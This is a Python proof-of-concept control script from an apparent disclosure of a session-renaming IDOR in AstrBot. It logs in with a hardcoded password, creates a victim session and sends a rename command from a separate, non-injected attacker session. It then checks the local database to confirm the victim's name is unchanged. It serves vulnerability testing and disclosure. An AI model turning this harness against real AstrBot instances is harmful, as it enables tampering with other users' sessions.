PoC: control-normal_session_id.py for AstrBot Session Renaming IDOR

control-normal_session_id.py

import asyncio
import json
import os
import time
import uuid
from pathlib import Path

import requests
import websockets

HOST = "127.0.0.1"
PORT = int(os.environ.get("ASTRBOT_POC_PORT", "6185"))
ROOT = Path(os.environ.get("ASTRBOT_POC_ROOT", "/tmp/astrbot-session-rename-poc"))
DB = ROOT / "data" / "data_v4.db"


def login():
    r = requests.post(
        f"http://{HOST}:{PORT}/api/auth/login",
        json={"username": "astrbot", "password": "77b90590a8945a7d36c963981a307dc9"},
        timeout=10,
    )
    r.raise_for_status()
    data = r.json()
    assert data["status"] == "ok", data
    return data["data"]["token"]


def create_victim(token):
    r = requests.get(
        f"http://{HOST}:{PORT}/api/chat/new_session",
        headers={"Authorization": f"Bearer {token}"},
        timeout=10,
    )
    r.raise_for_status()
    data = r.json()
    assert data["status"] == "ok", data
    return data["data"]["session_id"]


async def send_attacker_message(token):
    safe_session_id = f"attacker-{uuid.uuid4()}"
    msg = {
        "ct": "chat",
        "t": "send",
        "session_id": safe_session_id,
        "message_id": str(uuid.uuid4()),
        "message": [{"type": "plain", "text": "//rename CONTROL_RENAMED"}],
        "enable_streaming": True,
    }
    async with websockets.connect(f"ws://{HOST}:{PORT}/api/unified_chat/ws?token={token}") as ws:
        await ws.send(json.dumps(msg))
        deadline = time.time() + 12
        while time.time() < deadline:
            try:
                print(await asyncio.wait_for(ws.recv(), timeout=1))
            except asyncio.TimeoutError:
                pass
    return safe_session_id


def get_display_name(session_id):
    import sqlite3

    conn = sqlite3.connect(DB)
    try:
        return conn.execute(
            "select display_name from platform_sessions where session_id=?",
            (session_id,),
        ).fetchone()[0]
    finally:
        conn.close()


def main():
    token = login()
    victim = create_victim(token)
    safe = asyncio.run(send_attacker_message(token))
    time.sleep(2)
    display_name = get_display_name(victim)
    print(f"victim_session_id={victim}")
    print(f"safe_attacker_session_id={safe}")
    print(f"victim_display_name={display_name}")
    assert display_name is None, "victim session was renamed without delimiter injection"


if __name__ == "__main__":
    main()